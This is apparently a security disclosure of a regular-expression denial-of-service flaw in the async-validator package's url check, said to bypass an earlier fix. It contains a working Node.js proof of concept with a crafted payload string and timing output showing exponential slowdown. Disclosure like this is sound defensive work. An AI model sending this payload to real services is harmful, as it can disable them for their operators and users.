Description

Inefficient Regular Expression Complexity of url regex could lead to a denial of service attack.

This report bypasses the fix in issue #300 by a well-formed payload '//a.b' + 'c1'.repeat(i) + 'a'. With only 36 characters payload could take 18672 ms time execution.

Proof of Concept

// PoC.js
var asyncValidator = require("async-validator")

const validator = new asyncValidator.default({
    v: {
        type: 'url',
    },
})


for (var i = 1; i <= 1000; i++) {
    var time = Date.now();
    var attack_str = '//a.b' + 'c1'.repeat(i) + 'a'
    validator.validate({
        v: attack_str,
    });
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms")
}

Output

attack_str.length: 18: 0 ms
attack_str.length: 20: 1 ms
attack_str.length: 22: 1 ms
attack_str.length: 24: 6 ms
attack_str.length: 26: 20 ms
attack_str.length: 28: 82 ms
attack_str.length: 30: 283 ms
attack_str.length: 32: 1138 ms
attack_str.length: 34: 4938 ms
attack_str.length: 36: 18672 ms

Impact

Potentially causes a denial of service attack